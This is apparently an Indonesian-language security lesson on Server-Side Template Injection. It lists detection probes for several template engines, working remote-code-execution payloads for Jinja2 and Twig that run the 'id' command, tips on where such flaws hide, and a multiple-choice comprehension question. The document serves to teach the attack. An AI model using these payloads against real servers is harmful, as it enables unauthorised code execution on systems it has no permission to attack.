Apa Itu SSTI?
Server-Side Template Injection terjadi ketika input user dimasukkan langsung ke dalam template engine dan dieksekusi oleh server. Bisa berujung pada Remote Code Execution.
Deteksi SSTI
# Test payload universal
{{7*7}} → 49 = Jinja2/Twig
${7*7} → 49 = Freemarker/Thymeleaf
<%= 7*7 %> → 49 = ERB (Ruby)
#{7*7} → 49 = Ruby
# Differentiate Jinja2 vs Twig
{{7*'7'}} → 7777777 = Jinja2
{{7*'7'}} → 49 = Twig
Jinja2 Exploitation (Python/Flask)
# RCE via Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Atau lebih sederhana
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Cari subprocess.Popen di list subclasses
Twig Exploitation (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
Cara Menemukan SSTI
- Field yang direfleksikan ke halaman (nama, pesan error, judul)
- Template email custom
- PDF generator yang menerima input HTML
- Halaman 404/error custom yang menampilkan URL
// CEK PEMAHAMAN
Jika input {{7*7}} menampilkan "49" di halaman, apa yang bisa disimpulkan?
AHalaman rentan terhadap XSS
BAda SQL injection
CServer mengeksekusi ekspresi template — kemungkinan besar SSTI
DTidak ada kerentanan — server hanya menampilkan angka